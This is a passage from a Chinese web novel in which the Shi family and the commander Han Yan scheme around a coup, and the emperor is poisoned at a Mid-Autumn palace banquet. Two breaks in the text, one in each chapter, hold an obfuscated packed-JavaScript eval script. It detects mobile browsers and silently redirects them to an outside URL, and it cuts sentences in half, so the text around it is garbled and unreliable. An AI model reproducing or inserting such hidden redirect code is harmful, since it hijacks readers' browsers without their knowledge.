师迟双手撑在沙盘边上,沉默半晌,杨典等从旁催了又催,才听师迟道:“传令攻城,为牺牲的将士们报仇!” 杨典等大喜,立刻出了大帐传令行动,并与尤谆两面夹击。一众将士修整了这些日子,又有来自宜县源源不断的补给,如今正是摩拳擦掌的时候。 到底是有多次剿匪和镇压起义经验的军队,不过用了两日,便打下了城头的“钱”字大旗,又巷战五日,便将霍阳的起义 军彻底歼灭,活捉了钱程。 捷报送达京城,端木玦大喜过望,着令将钱程押回京城由刑部候审,又令师迟、尤谆等乘胜追击,将河间一众起义力量全部歼灭。 师琦追封左卫将军,厚葬。 霍阳大捷后,杨典曾想着劝说师迟先歇一歇、缓一缓,但看着师迟日渐沉郁,除却商讨战事、发号军令外,几乎不发一言,就这般沉默着直到将河间收拾干净,烽火暂歇,杨典、尤谆等都又被调到别处镇压起义、剿灭流匪,只师迟将师琦的尸首送回京城后,便自请留守宛城,又将师步也接了过去。 步成安将师步搂在怀中时才觉得后怕,夜里师迟帮她擦头发时,她蓦地抓住师迟的手,道:“我今日见到步哥儿,才想到,倘若你也死了......” 师迟叹道:“战场上刀剑无眼,这些日子我亲眼所见的尸首,说夸张些,倒快比从前吃的米还多了。活下来真是侥幸。” 他虽未身死,倒也几次负伤,最厉害的一次刀直插进他的大腿,皮肉外翻,骨头都漏在外面,直到如今好几个月过去,上马时仍会抽痛,一到雨天,走两步都要强忍着。别的划些口子,或是扭伤、淤青,倒都不必说了。 “如今这世道是难活人的。”步成安叹道,“好在如今我们一家三口团圆了。我只盼着,能在一处安定下来,过些寻常日子就是了。”说及此,她看向师迟,认真道:“宛城自古便是兵家必争之地,日后早晚又要打起来,留守此处并非长久之计。” 师迟没有搭话,半晌才道:“唯有留守此处,虎符才能继续在我手中。” 步成安闻言,双眼直愣愣地盯着师迟,手心洇出层层冷汗。 师迟却没有再解释,起身放下擦水的帕子,自己去洗漱一番,再回来时,站在灯前歉然似的望了她一眼,便吹熄了灯。 “先睡觉罢。” 韩偃于河间诸战中有功,后又随着杨典的军队去了淮南,又几次升迁,便成了杨典的副将。 初夏时节,杨典得令率军至泉郡叠山港一带肃清海患,韩偃自然又“凭着从前在泉郡行商的经验”立了大功,经杨典举荐,回京领殿前诸班直都知。 “副都指挥使成巳成大人不日即将致仕。或许我可以补了这个缺。” 夏日炎热,一回到小院,韩偃便干脆光了膀子。师薇欢自屋中出来,倒没瞧见他身材矫健,只看到他遍布脊背的斑驳伤疤,便又想到师琦的苍白狰狞的尸首和师迟一瘸一拐的步子。师家的白幡撤了又挂,每一回跪在灵堂中,耳边都是亲者细密又断续的哽咽哭声。幼子尚且不明白发生了什么,长者又要拼命维持着理智和体面操持丧仪和家事。如今她每每回家时,只觉得连那块“阳曲侯府”的匾都憔悴皲裂了,像泡了水又晒干,遍布裂纹与沟壑。 她兀自叹了口气,回屋盛了一碗冰酪出来,放在他身侧的石板小桌上,道:“吃这个消暑。”说完,犹豫了一会儿,终于还是劝道:“还是把衣裳穿上些罢,也免得着凉。” 韩偃不以为意,只一边端起冰酪大口吃着,一边道:“这天怎么会着凉。” 师薇欢也不再劝,只拉了把藤椅坐到一边,背对着他看书。书是她向言晓风借的,听说是从宫里送回来保管的,字里行间总时不时会蹦出些许批注,字迹也不尽相同,有些话沧桑老迈,有些却十分稚气,比对起来,倒是十分有趣。 看着看着,她想起来什么,微微扭头,道:“你方才说,副都指挥使的缺么?” “是啊。” “那个缺你便不要想了。恐怕会给白学士或是唐大夫。” “白束道和唐允?” “正是。极有可能是白学士,听闻与西南谈判一事他立功不少,前阵子又迁兵部主事,带兵平了北边一处叛乱,今上如今正看好他。” 韩偃冷哼了一声。 师薇欢顿了顿,道:“今上如今有意打压以师家为首的旧党,你起初是靠着做我父亲的门客起家的,这点今上只消动用影卫,一查便知。” “影卫我倒也听说过,不过今上显然不如先帝擅机密事,且听闻从前影卫的首领如今大多死的死走的走,留下的能耐远不比先前,这倒不足为惧。” 师薇欢讶然:“这些你如何晓得?” 韩偃笑了笑,并未回答。 师薇欢摆弄着手里用来当书签的树叶,慢吞吞道:“总之,副都指挥使的事,你还是三思罢。此时与新党结怨并不是明智之举。” 以复景元年中举的诸人为首者,近年来多提倡改革进取,尤其是今上掌权后,更是趁其有意打压外戚的势头,不断提出些合其胃口的新颖政见,虽说能够落实的并没有多少,但却颇得今上青睐。世人谈及此间事时,便仍沿用旧称,称以师家为首的一派为旧党,对应的则称白束道、落桓等一派为新党。 如今新旧两党虽未闹到针锋相对的地步,却也各为其利,轻易不肯稍让分毫。 韩偃没有回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293257|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,师薇欢回头看去,只看见他拿蒲扇遮在脸上,似是睡着了。 天色将晚,院子里渐渐上了虫蝇,她便拿起书起身,正要回屋时,却见宁碧水匆匆从外面走进来——她下午一直拿了个小竹凳坐在门口编花——向她示意有人来访。师薇欢便将书递给她,自己往外走去,却见是绮红。 “姑娘,大夫人备好了晚饭,叫您回去试试新做的衣裳。” “不是十日前才量的尺寸,衣裳竟已做好了?” 绮红笑叹:“这不是前些日子,有几个大人劝今上广纳后宫,以充皇嗣,今上这回虽未直接答应,却也没拒绝。这不,有好几家的姑娘已经准备着要趁着中秋宫宴一展芳华了。大夫人怕耽误了事,便多给了银子,叫咱们府上的衣裳加急做了。” “原是这样。”师薇欢笑了笑,便道:“我去换身衣裳便走。”想起彼时她初次进宫见到曹唤容的样子,想来,到底是红颜未老恩先断。倘若真有京中重臣家中的女儿或是妹妹入宫,也不晓得皇后的位子,她还是否能坐得稳。 沉州。 自上次回来时,官闻霰便做主,在城郊万春湖畔物色了一处宅子,亲自操刀设计,如今修整了一番,便是一处三进的带院子的宅院,挂上女主人亲提的“浅草别墅”的牌子,一家人便正式搬了进去。如今除却师玘偶尔被事情绊住脚,或是在城中有推不开的应酬,才会歇在官衙那处房子外,众人皆在这处宅子定了居。 晚间,师玘骑着马一路悠悠晃晃回到家,抚了抚心爱的黑色骏马的马头和鬃毛,又喂它吃了些草料,便将马交给宋萧,自己背着手,迈步进了院子,就瞧见师子瑜正在前院抱着一个小藤球扔来踢去,小小一个人举着比头还大的球,实在是憨态可掬。 师玘笑着将他抱起来,逗哄着带他去找官闻霰。 官闻霰正在院子里指挥着人晒库房里因前些日子接连下雨洇湿的宣纸和放在库房里的旧书,一不小心差点闪身掉下台阶。师玘看到,惊叫一声“阿霰”,忙把师子瑜“扔”给奶娘,扶着她进屋坐下,道:“都快临盆了,你怎么还如此不小心?” 官闻霰拍了拍他作安慰:“哪用得着这么小心,你不如把我绑起来算了。”说着,又甩开他,起身从桌上拿了一封信过来,交到他手中,道:“大嫂来的信,今日上午才到,邀我们回京过中秋。” 师玘愣了愣,打开信来细瞧,又听官闻霰掰着手指数:“大姐姐那个婆母年前也走了,如今她孤零零一个人,定然是要回去过节的;二姐姐不回去,但三姐姐他们听说已经应了邀;二哥二嫂那边还不晓得;四弟好似已经往回走了。” “是。三叔托人在朝中运作,将他调回京城了。” “四妹妹与五妹妹远在易州,六妹妹在平阳郡,路途遥远,大概不会回来。绰仙......”提起成绰仙,官闻霰免不了又是长叹,道:“虽说她与五弟并没有多少感情,但新婚燕尔便守了寡,又有哪个女子能好过呢?” 师玘放下信,沉默片刻,道:“若她愿意,我可以代其向三叔写信,将原本来日该分给五弟的财资一并赠与她傍身。守孝期满后,她若愿意留下,自然可以接着留在师家。若是想改嫁,或是自立门户,有财资傍身,也容易些。” 官闻霰道:“这样甚好。我这就写信告诉绰仙。以她的性子,说不定之后会云游四方呢。”说着,她便坐到案前,提笔快速写了起来,不多时就撂了笔,将信交给她的侍女合舟教送到逢州,又道:“不过这般看来,绰仙尚未有子女,反倒是好事。如大嫂那般,倒是被困住了。” “如若有一日,我突遭不测,你莫要因为孩子们就委屈自己留在一处。”师玘突然郑重道,“自立门户,或是改嫁,又或者回官氏去,都无妨,只要你开心就好。” 官闻霰愣怔着看向他,半晌,低下头去,像一只雌鸟低首哺育挤在自己蓬松羽毛下的幼鸟一样,纤长的手轻轻抚上隆起的腹部,慢吞吞道:“这你放心,不必你说,我自会过得很好。”很快这只美丽的雌鸟又昂起了修长的脖颈,道:“这都是后话。中秋回不回京才是要紧事,若要回去,如今可就得准备着了。” 师玘起身,背着手踱步到窗前,望着院子里被风吹开的书页和逐渐晒干的宣纸,过了好久,直到官闻霰以为他要转过身吟诗一首,直到师子瑜挣脱奶娘的怀抱跑进来问什么时候吃午饭,师玘才道:“还是不回去了罢,只备好节礼送过去就是了。” 说完,抱起儿子,想了想,又补充道:“节礼送到逢州三姐姐那里去,叫她一并带回去就是了,免得多花许多银钱。” 81.第 81 章 师迟一进家门,和师言兄弟二人就要去“来上两壶”,又听闻师玘今年不回来了,笑骂:“那小子连这点路费都要计较,这脑袋,不经商去都是浪费。” “三哥一向如此,左右过几个月过年时他定是要回来的,到时候再当面骂他罢。”师言道:“倒是你,二哥,你们这般回来,宛城的事无妨么?” “无妨,兵部调度,着我拨两千人到京畿大营,我正好随军顺道回来一趟。河间如今也闹不起什么大风浪了。” 二人说着,借了师薇欢弄花用的小锄头去,便径直到安居堂后身的那两棵枫树下十分熟练地挖起来,不一会儿,两只精致的小酒坛并一个酱红色大坛就被他俩挖了出来,教人清洗干净后抬到望潮阁,正被要出门的师薇欢撞见,惊道:“这是哪里来的酒?” “乐康七年,我和二哥、三哥一起埋的,怎么样,想不想尝尝?”师言很得意地敲了敲那酒坛子。 师薇欢迟疑问道:“四哥,这不会是你们第一次埋酒罢?” “是啊。这还是姑姑告诉我们的,据说当年她和娘幼时在宫中埋过一次。”说着就要起开酒坛,邀她一起尝尝。 师薇欢连连摆手,道:“不了不了,我着急走呢......大嫂嫂已经叫人备了好酒,就放在西院呢,你们要喝,倒不如去取那些酒来。这酒当心喝坏了肚子。”说完,便忙不迭跑走了,淡粉的衣衫像漫天彩云,没一会儿就没了踪影。 师言狐疑地弯腰打量起那几只酒坛,想着哪里就至于喝坏了肚子,三下五除二把那最大的一坛打开,甫才打开点缝,一闻到飘出来的味道便骤觉不对,皱着鼻子闪到一旁,连忙叫人将其远远倒了。 师薇欢暗自庆幸躲过一劫。韩偃离开江浪观前,他们就一起埋过一坛酒,所幸当初为了怕观里其他人发现,特意埋得远了些,埋到了一处竹林旁,还特意拜了竹子神,请求她保佑换来好喝的酒。然而去岁韩偃回京后他们去将那酒挖出来,却已经连闻都不能闻了。 “回落草巷。” 今早回来前,韩偃便嘱咐她,倘若师迟回来了,一定要尽快告知他。他半个月前成功补了成巳的缺,授副都指挥使,而都指挥使郭率又领了兵部侍郎往胶东平定起义,算下来如今整个皇城的禁军皆归他一人统领。 而韩偃顶着的毕竟是师家的名头,依端木玦如今的作为,想来容许韩偃这般独掌禁军大权的日子必不会太久,若要起事—— 中秋宫宴想来便是最佳的机会了。 师薇欢浑身一颤,像是鹰隼爪下悬在半空中的兔子,全身的绒毛在刺骨的寒风中炸开,眼前只有模糊不清的迷雾或是云层,像随时降临的死期。 她混混僵僵下了马车,韩偃走过来扶住了她,问了她句什么,她机械地张嘴,轻声道:“我二哥回来了,带了两千兵马,在京畿大营。” “......我是问你怎么出了这么多冷汗。” “哦,无妨。”师薇欢脑子一空,对上韩偃关切的眼神,动了动嘴,却突然疲惫地找不出什么更合适的理由。她兀自被他扶着坐在廊下,看着他端过来一碗热茶,接住,茶的温度透过白瓷渗入手指,丝丝缕缕的热气妄图使她回温。 宁碧水拿来帕子,帮她擦着头上不断渗出来的汗珠,末了在她身侧蹲下,握住她的手腕,眼神恳切,似乎想问她到底怎么了。 怎么了。 她想,宁碧水不会毫不知情的。比起跟着她,她跟着韩偃的时候可是多得多。 甚至偶尔她觉得,她就像是韩偃钉到她身边的楔子,为了时时刻刻提醒着她不要在师家的蜜罐里一睡不醒,江浪观,童氏,血海深仇还没有报——师家帮不了他们,甚至是罪首未能得到应有惩处的帮凶。 “韩偃——” “嗯?” “你知道,这是谋逆。” 韩偃从屋里走出来,状似无奈地叹了口气,气定神闲道:“你在说什么?我怎么听不明白了。”说着,拿走她手中纹丝未动的茶杯,道:“又胡思乱想了。一会儿你还回去吗?我做了——” “若你只是为了报仇,我可以心甘情愿,继续做你的棋子,做你的探子,你只是想要扳倒童氏的话,继续做什么都无妨。你也不必再与我打马虎眼,对这所有的一切我都该有知情的权力。” 韩偃似是没想到她忽然这般急言令色,顿了一顿,却还是只道:“你想多了。阿宁,送她回师家罢。” “你是觉得我会耽误了你的事?”师薇欢起身,冷笑了一声,道:“我是不晓得你如今有多大的本事。可若想夺权篡位,你最好还是多思量思量,免得彼时报仇不成,还要连累旁人跟你一同去死。我父兄在朝为官多年,家中最鼎盛时也未曾谋划这样的事,可见......” “你父兄未能成事,是因为他们不想成事,因为他们自小就被教导忠君爱国,即便是愚忠也要也要那般‘愚’下去。他们的权利地位都仰赖皇权赐予,荣辱都与端木氏绑在一处。可我不是。如今天下之人只要睁大眼睛仔细分辨,就该晓得整个大淮就像那金殿上的梁柱,瞧着光鲜亮丽,内里早就烂透了,只消来个人轻轻一推就倒了。” “所以你想去推。”师薇欢道,“可推倒了,之后呢?” 她向韩偃走了两步,在他身前停下,微仰着头,道:“你想做,而又做不好;师家不想做,但能做——你该知道要怎么办罢?” 韩偃眯了眯眼,像狐狸,又像蛇:“我记得有人从前说过,不许我拿他们家的人做垫脚石。” “我的意思是,不许牺牲损害我们家的利益,而已。你若与师家联手,这应该能算相互成全。” “如若成功,就是相互成全;但若是失败,可就不是损害些许利益又或者一两条人命能了事的了。你父祖这么些年兢兢业业的谋划可就要告吹了。” “所以只能成功。”师薇欢眸中闪着寒光,像一把磨好的剑就要出鞘。 韩偃往后闪了一寸,神色中有一瞬微不可察的躲闪。他侧身往外走了两步,沉声道:“我知道了。事情若定了,我会与你说的。” 师薇欢看着他走出门,宁碧水随后也向她颔了颔首,紧跟着他快步出去了。 院子又空了下来。 她弯腰慢慢蹲下抱住自己,不晓得过了多久,才缓缓起身,一步一步挪出院子,挪到巷口,上了等在那里的马车,轻声嘱咐回师家去。 迈步进门前,她福至心灵似的停住脚,抬头看了看那块御笔亲题的“阳曲侯府”金匾。这块匾已经是元宗皇帝提的了,据说比起先前穆宗题的那块,笔力还是弱了些。 她试着想了想当年那块匾被摘下的时候是什么样子,正出着神,却听见有人唤她,定睛一看,原是师婷欢。 “你回来啦,大姐姐。” “是啊,方才才到。你站在门口看什么呢?” “没什么。”师薇欢摆出笑脸来,快走了几步挽住师婷欢的手臂,道:“方才二哥和四哥不知道从哪里挖出来几坛酒呢。” 师婷欢叹了口气:“我晓得,那酒早就坏了。想来是当年在逢州时,他们听了姑姑说的故事才效仿的罢。姑姑都说了,当年她们后来压根就没喝埋的那些酒。” 提起师冉月,师薇欢心神一动,一边假模假样陪师婷欢散步到后花园,一边在心里打着腹稿,终于问出口道:“大姐姐,当年,姑姑是皇后的时候,爹爹有没有,有没有想过——” “你想问爹爹有没有想过谋权篡位吗?”师婷欢瞥了她一眼,云淡风轻地问道。 “啊,是。”师薇欢有些尴尬,蔫蔫地应声。 “也许有,也许没有,我也不清楚。”师婷欢道,“篡位是一回事,即便成功了,能不能坐稳当才更要紧。”她想了想,又道:“是以,倒不如继续辅佐端木氏来得值当些。彼时大概姑姑和爹爹都只是想着如何保全家族,不要重蹈承祐年间的旧辙罢了。” “何况虽然我们家算得上是权倾朝野,但却没有兵权,只靠着那些私兵,哪里敢有把握行篡位一事呢?”师婷欢扭头看了眼沉默的师薇欢,笑了笑道。 师薇欢愣住,的确,师家一直没有兵权。即便把旧党拉个清单,除却彼时与师家算不上关系太亲近的成巳外,只有官成潜这个兖州牧算得上有兵权,可若要千里迢迢将兖州他能调动的几千兵调回京城,凭此来逼宫篡位,实在是太过荒唐。 景宗登基后,因着史太尉的先例,便将太尉一职空设,即便是官成潜兼领枢密副使,也只有统兵权而无调兵权。 而若想效仿当年景宗皇帝围城逼宫,自得长期经营谋划,集各方可调度之兵权,里应外合,顺应民心,方能成事。 这般想来,师薇欢又觉得方才对韩偃说的那些话太过虚无缥缈,更像是逞一时口舌之快,不仅有些羞赧后悔,倒犹豫是否要找机会阻止他,再从长计议。可又想到此一时彼一时,中秋宫宴的机会又是失不再来,不免纠结。 正想着,便听得有人来报师莞安的马车到了,忙又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296621|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与师婷欢回前院去迎。 午后日影稍斜,却正是晃眼的方向。 师薇欢微微退后半步躲在师婷欢的斜后方,举起团扇遮阳,看着师莞安下了马车,还有她与景琮五岁的长女景礼和四岁的次子景祯,另有一个尚在襁褓的幼女景祎被奶娘抱在怀里。 师婷欢上前去将景祎抱过来,笑道:“祎姐儿才多大,怎么把她也折腾来了。” 师莞安笑道:“别看她小,可结实着呢,又只亲我,把她留下的话阿琮可应付不了。” 去年景宗朝提前致仕,景琮调任回逢州任通判,夫妻二人带着孩子们先随着长辈住了几个月。景礼性子娴静,但景祯却是个活脱脱的皮猴儿,与几个堂兄弟一起就要上房揭瓦了,闹得晏梅兮实在是受不了,便又帮他们在临近坊巷又寻了处宅子,叫他们自己搬出去住了。 不过除却他们一家五口,到还有一个时常来借宿的景玹。彼时景琮于吕县任县令时,他便跟着他们搬去了吕县,如今又回了逢州,也不想着入仕,只偶尔做些买卖,余下的功夫就在各处游手好闲,兼带着侄子到处玩。 姐妹几人寒暄着进门,说起进京这一路,师莞安忿忿道:“别提了,一路上为了躲着流匪还有什么起义的,总是绕路不说,临了要进京了,也不晓得为何城外的布防好似松散了许多,乱糟糟的,连带着城下那些流民都乱了许多。我入城时,还听说有流民在谁家的粥棚那里闹起来了,真是吓人!” 师婷欢听了,转头看了眼师薇欢,道:“都指挥使郭率如今不在京中,布防一事该是副都指挥使韩偃来管。那韩偃,说起来是七妹妹举荐给爹爹的人罢?” 师薇欢吓了一跳,忙道:“是韩偃......大姐姐竟对朝中事如此清楚,怪道外头的人都说你是‘女夫子’呢。” 师婷欢笑叹:“我只是闲来无事罢了。不过这韩偃若是个没有才能的,倒该趁早请爹爹另寻别人顶上才好。”她们都清楚,韩偃能将白束道比下去,从而补了成巳的缺,无疑是师霖在背后出力。 荐韩偃入朝,又调师言回京,也是为了弥补师焕与燕寂早逝的缺憾。 师薇欢没有再接话。 所幸师莞安好久未归家,攒了一箩筐的话要说,立刻就把话头又岔了过去。 晚饭时众人在胜吴楼上小聚,便各自散去歇息。明日宫宴因着孝期的缘故,又或是身份地位尚且不够格,本就只有端木槿和先前与师婷欢一道得授县主爵的师薇欢要入宫,其余人好容易能好好聚上一聚,都很高兴。 师薇欢脸上也跟着挂上笑意,直到与众人分开,又将跟着侍奉自己的绮香和南歌都打发了,这才放下了嘴角,自己胡乱收拾了一番,就拥着被子扑倒在榻上,心烦意乱了一夜,一早两眼青黑着起床,叫端木槿瞧见,嗤笑道:“又不是第一次入宫,怎么还有人紧张得睡不着觉。” 师薇欢懒得理她,任由绮香拿着煮熟的鸡蛋给她敷眼睛,暗自庆幸宫宴是晚上。 午后入宫,端木槿与师薇欢各乘一辆马车。虽说端木槿看不出什么端倪,但师薇欢还是松了一口气。马车一路辚辚驶向那座宫城,车轮压过石板的声音入耳,仿佛是催命的符咒。 她像是在登山,逐渐缺氧,却没有下山的退路。 凤箫声动,玉壶光转。 殿中又是歌舞升平,居高位者梦中的海晏河清被系于小小庙堂。师薇欢漫无目的地四处望着,竟罕见地瞧见永顺长公主端木汐和江都长公主端木淇也在席上,此前她二人常居行宫,大小宫宴也甚少露面。 官氏的人今年都去了兖州,今日倒是无人在席。 此外大多都是熟悉的面孔,各家夫人姑娘额前的花钿在宫灯下闪着细碎的珠光,觥筹交错间,酒香与果香杂着融融的脂粉香,在鼻息间聚了又散。 仿佛世外天堂,美好得使人流连。 但美好,就是该被打破的。 师薇欢余光中瞥见端木槿起身,心中一紧,怕她一会儿受惊又找不到人,正要拦她,又想着兴许离这儿远些才更安全,便又收回了心思,只给今日带着的侍女凭雪使了个眼色。 有个小太监进殿与吴怀安耳语了几句,吴怀安被叫走了。 又上了一轮酒,乐声暂歇。 端木玦拿起酒盏起身,朗声祝酒,台下众人亦齐声祝颂,末了各自将酒饮尽。 琵琶声又起。 师薇欢望见,有深棕色的血,从端木玦的嘴角流出。 端木玦倒下了。 82.第 82 章 “护驾!快护驾!” 曹唤容第一次于众人面前失态,一只手护着自己已经有些显怀的腹部,另一只手拉着扯着拥着端木玦,双目眦裂,却愣是没落下一滴泪来。 她话音未落,韩偃便身披铁甲,带着手下的禁军冲进了大殿,将在座众人团团围起,甲胄的寒光霎时斩断香暖玉融,徒留众人惊惶不定。 曹唤容稳住身形,尽力镇定开口,道:“请御医来。” 韩偃给手下使了个颜色,其中二人很快走了出去,顷刻便像提了个小鸡仔一样将惶惶不安的御医挟进大殿。那御医颤颤巍巍地看了端木玦的状况,立刻伏地大怮:“陛下——殡天了!” 曹唤容方才触碰到端木玦僵硬的身躯时,便早已心中有数,但听到御医此言,还是忍不住身形一颤。看着台下众人纷纷跪地山呼,她强忍着不适,高声道:“众卿且慢,陛下死因存疑。赵御医,陛下是因何而死,还望你给个诊断。” 赵御医抹了把脸上的泪,膝行到端木玦座前,又仔细诊了一遍,随即便用银针依次试了桌上菜肴,终在倒扣在地上的酒杯中残留的一点酒里,银针渐渐变黑。 “禀娘娘,陛下,陛下这是中毒而亡,是砒霜之毒啊。” 曹唤容看向韩偃:“韩将军兵贵神速,想来下毒之人还在这殿中,还请韩将军协助本宫捉拿逆贼。” 韩偃勾唇笑道:“不劳皇后娘娘费心,臣已派人搜查,唯有此人在陛下身亡后意图溜出大殿,形迹可疑——带上来!” 众人探头看去,被提进大殿的是一个瞧上去年纪颇轻的小内侍,禁军才一松开他,他便双膝瘫软跪倒在地,不消人问,便连连喊道:“娘娘饶命啊,饶命啊,都是白大人指使小人做的啊!” 闻言,众人纷纷向白束道看去。工部尚书刘晦眯了眯眼睛,道:“白大人,若我没记错的话,如今在朝为官之人中,姓白的可只有你罢?” 白束道倏地起身:“我有何理由毒害陛下?定是有人蓄意栽赃!” 江都长公主端木淇站起身,仔细看了看那内侍,声音稚嫩却清晰:“他就是方才给皇兄送酒的那个内侍!” 韩偃的下属季酩站出来道:“禀娘娘,方才臣已命人搜查过此人,在其指腹和指缝中均有残留的毒粉,是否与毒害陛下的是同一种,一验便知。” 曹唤容立刻示意赵御医去验。赵御医忙不迭跑下来到那内侍身边确认,而后便跪下道:“禀娘娘,这正是害死陛下的毒啊!” 曹唤容闭了闭眼,道:“既如此,证据确凿,便交由刑部——” 话音未落,韩偃却已拔剑将那内侍的脑袋斩落在地。 在座的女眷哪里见过这样的场景,有几人当场便尖叫着晕了过去。宋汤起身怒喝道:“韩偃!大殿之上岂由你如此放肆!” “皇后娘娘已经说了,证据确凿。韩某如此,不也是省得宋大人您再费心了么。” 吏部尚书赵妥颤巍巍起身,道:“事已至此,逆贼既已处决,余下的事便请刑部给天下人一个交代罢。国不可一日无君,大行皇帝既已归天,我等合该早日迎立新君才对。” 宋汤冷哼一声,便道:“既如此,这内侍最后仍咬定是白大人指使,便请白大人到刑部走一趟罢。” 白束道怒道:“清者自清!”说罢,一甩衣袖,也不挣扎,便跟着刑部的人走了出去。 户部尚书陈科道:“赵大人说得对,还是先商讨出新君人选罢。” 陈科话音方了,便听得有人朗声上殿:“皇后既已有孕在身,新君自该立大行皇帝之子。” 众人定睛看去,发现来人竟是师迟。师薇欢只觉自己心跳漏了半拍,只能用指甲狠狠掐进掌心来抑制浑身颤抖的感觉,混乱间有只温热的手掌抚在她肩上,似是意在安抚,她转头看去,竟发现是不知何时回来的端木槿。 来不及反应,只听韩偃道:“事关前朝,便请在座女眷往偏殿避让罢。” 一时无人起身,两相对峙片刻,竟是端木汐冷着脸率先起身,牵着端木淇的手走出了大殿。师薇欢咬牙,与端木槿一道紧跟其后。 陆陆续续地,女眷互相搀扶着,慢慢都走了出去。 韩偃又看向强撑着的曹唤容,道:“皇后娘娘尚且有孕在身,不如先回坤宁殿安置罢。” 曹唤容由侍女扶着,沉声道:“那便请有司为大行皇帝安排丧仪。选立新君,事关江山社稷,劳烦众卿今早决断。” 看着曹唤容被人搀扶着出了大殿,落桓才起身厉声向师迟质问道:“若我记得不错,你如今只是宛城守备,选立新君之事岂容你置喙?” “我只是代为转达家父家母的意思罢了。”师迟面不改色道,“家父奉景宗皇帝的旨意监国辅政,家母是武宗皇帝之女、大行皇帝的姑母,不知选立新君一事,他们是否有权置喙?” 落桓依旧瞪眼道:“空口无凭,岂止你所言是否是阳曲侯与云和大长公主的意思。” “我有什么理由杜撰?”师迟反问道,“即便我所言乃虚,父死子立也是天经地义。” “皇后此胎是子是女尚且未知,又只五月龄,岂能因此空悬君位?”礼部侍郎高阶道。 “那倘若五个月后皇后诞下皇子,又该如何处置?”言陵驳道。 殿内议论纷纷,韩偃猛地拔出剑立在地上,“铮”的一声,殿内瞬间恢复了寂静。韩偃道:“今日在殿中者,当以沈少师为尊,不如就请沈少师来评判罢。” 闽中王端木阳与陇西王端木齐去年方得了诏令出京就藩,是以如今端木氏成年男子无一在京。而今日官成潜、官成澈皆不在,吴称对于大小宴席向来是以不喜热闹为由请辞,因此中枢之中,六部之外,倒的确当以沈案之为首。 大小官吏的目光顿时聚集在沈案之身上。沈案之一通疾咳,又喘了好一会儿,才慢慢道:“老身一介布衣,得有今日,只是仰赖景宗皇帝与昭思皇后的信任罢了。”说完,便不再开口。 韩偃微笑着向群臣道:“昭思皇后膝下仅有大行皇帝一子。依鄙人之见,当立景宗之子为新帝。五个月后,倘若皇后诞下皇子,自当立为储君。” 师迟闻言皱了皱眉,却未出言反驳。 刘晦道:“成阴郡王端木嵩就养在行宫,倒是个可行的人选。” 落桓却道:“成阴郡王不过才十一岁,如何执掌天下?” “大行皇帝登基时亦不过十三岁。”韩偃道,“不然落大人以为该立何人?” “颍王端木城亦是景宗皇帝之子,如今年二十四,正好适宜。若立小儿,又须辅臣监国理政,岂不闻伊霍之事?” 韩偃冷笑道:“落大人,我等此间,与伊霍之事又有何异呢?”见落桓被噎得说不出话,韩偃又道:“况且,我听闻落大人与白大人私交甚好,民间都称尔等为‘新党’。若白大人谋害大行皇帝一事属实,安知这当中没有落大人您的参与呢?” 落桓却讥讽道:“韩将军空口白牙,一口一个‘新党’‘旧党’,可别忘了自己是顶着谁的名头才爬到今天的位置。” 韩偃满不在乎,只道:“我已着人到兖州和易州,请两位官大人和师大人归京。兹事重大,也不是一时可以商定的。依我之见,不如请众位留宿宫中,直到此事敲定了再各自回府罢,自有禁军为各位大人护卫。至于偏殿的女眷,我自会派人护送回府,但请各位放心。” 众人碍于禁军威慑,更怕勉强落单归府倒要遭遇不测,不得已只能顺从其安排。落桓虽为兵部侍郎,但苦于不能立刻调兵,只能先妥协下来。 “你到底想要立谁为新君?” “兹事体大,岂能是我一个副都指挥使作主的。”韩偃道,“迟兄也莫要着急,我如今这般下来,算是将新党骨干一并软禁起来了,待师大人和官大人回来,想要立谁,还不都是你们说了算么。” 师迟不耐烦地啧了一声,把缰绳一扯,径自骑马回家去了。 韩偃看着他的背影一哂,交代手下到刑部格外关照一番白束道,便到偏殿去将师薇欢和端木槿接出来送回师家。 师薇欢甫一进门,只觉家中格外肃静,全然没有一丝昨日那般佳节的氛围。一路找到祠堂,才发现众人都聚在此处。 师迟跪在正中。 师薇欢抬眼,对上师婷欢冷得刺骨的眼神,僵住了脚。 师莞安走过来,挽住她,带着她走进祠堂。 “韩偃呢。” “他,他回宫去了。” “是该回宫。做了这么大一场戏,如今还没演完,不回去看着怎么行呢。” “大姐姐......” “大姐姐!”师言站到师薇欢身前,“七妹妹又没参与在其中,你何苦为难她?” 师婷欢抬头看着他,张口欲骂,却又失了力气,瞥了眼低头跪着的师迟,低声道:“我不管你们都做了什么,又为了什么,如今只尽快将事情了了,选立新君登基,莫要再生出其他是非,丢了性命。” 言晓风扶住她,叹道:“事已至此,就算罚他们也是无用,你方才晕了一遭才醒,还是快去把药喝了歇下罢。” 师婷欢只觉头晕眼花,实在没有力气再多说多做些什么,只由着言晓风将她扶回留岁轩。 听着她们的脚步声走远了,师薇欢才觉得身体里的血又重新流动起来。她像做了亏心事的孩子,分毫不敢与大人对峙。 “大姐姐在家,怎么会这么快知道宫里的事?” 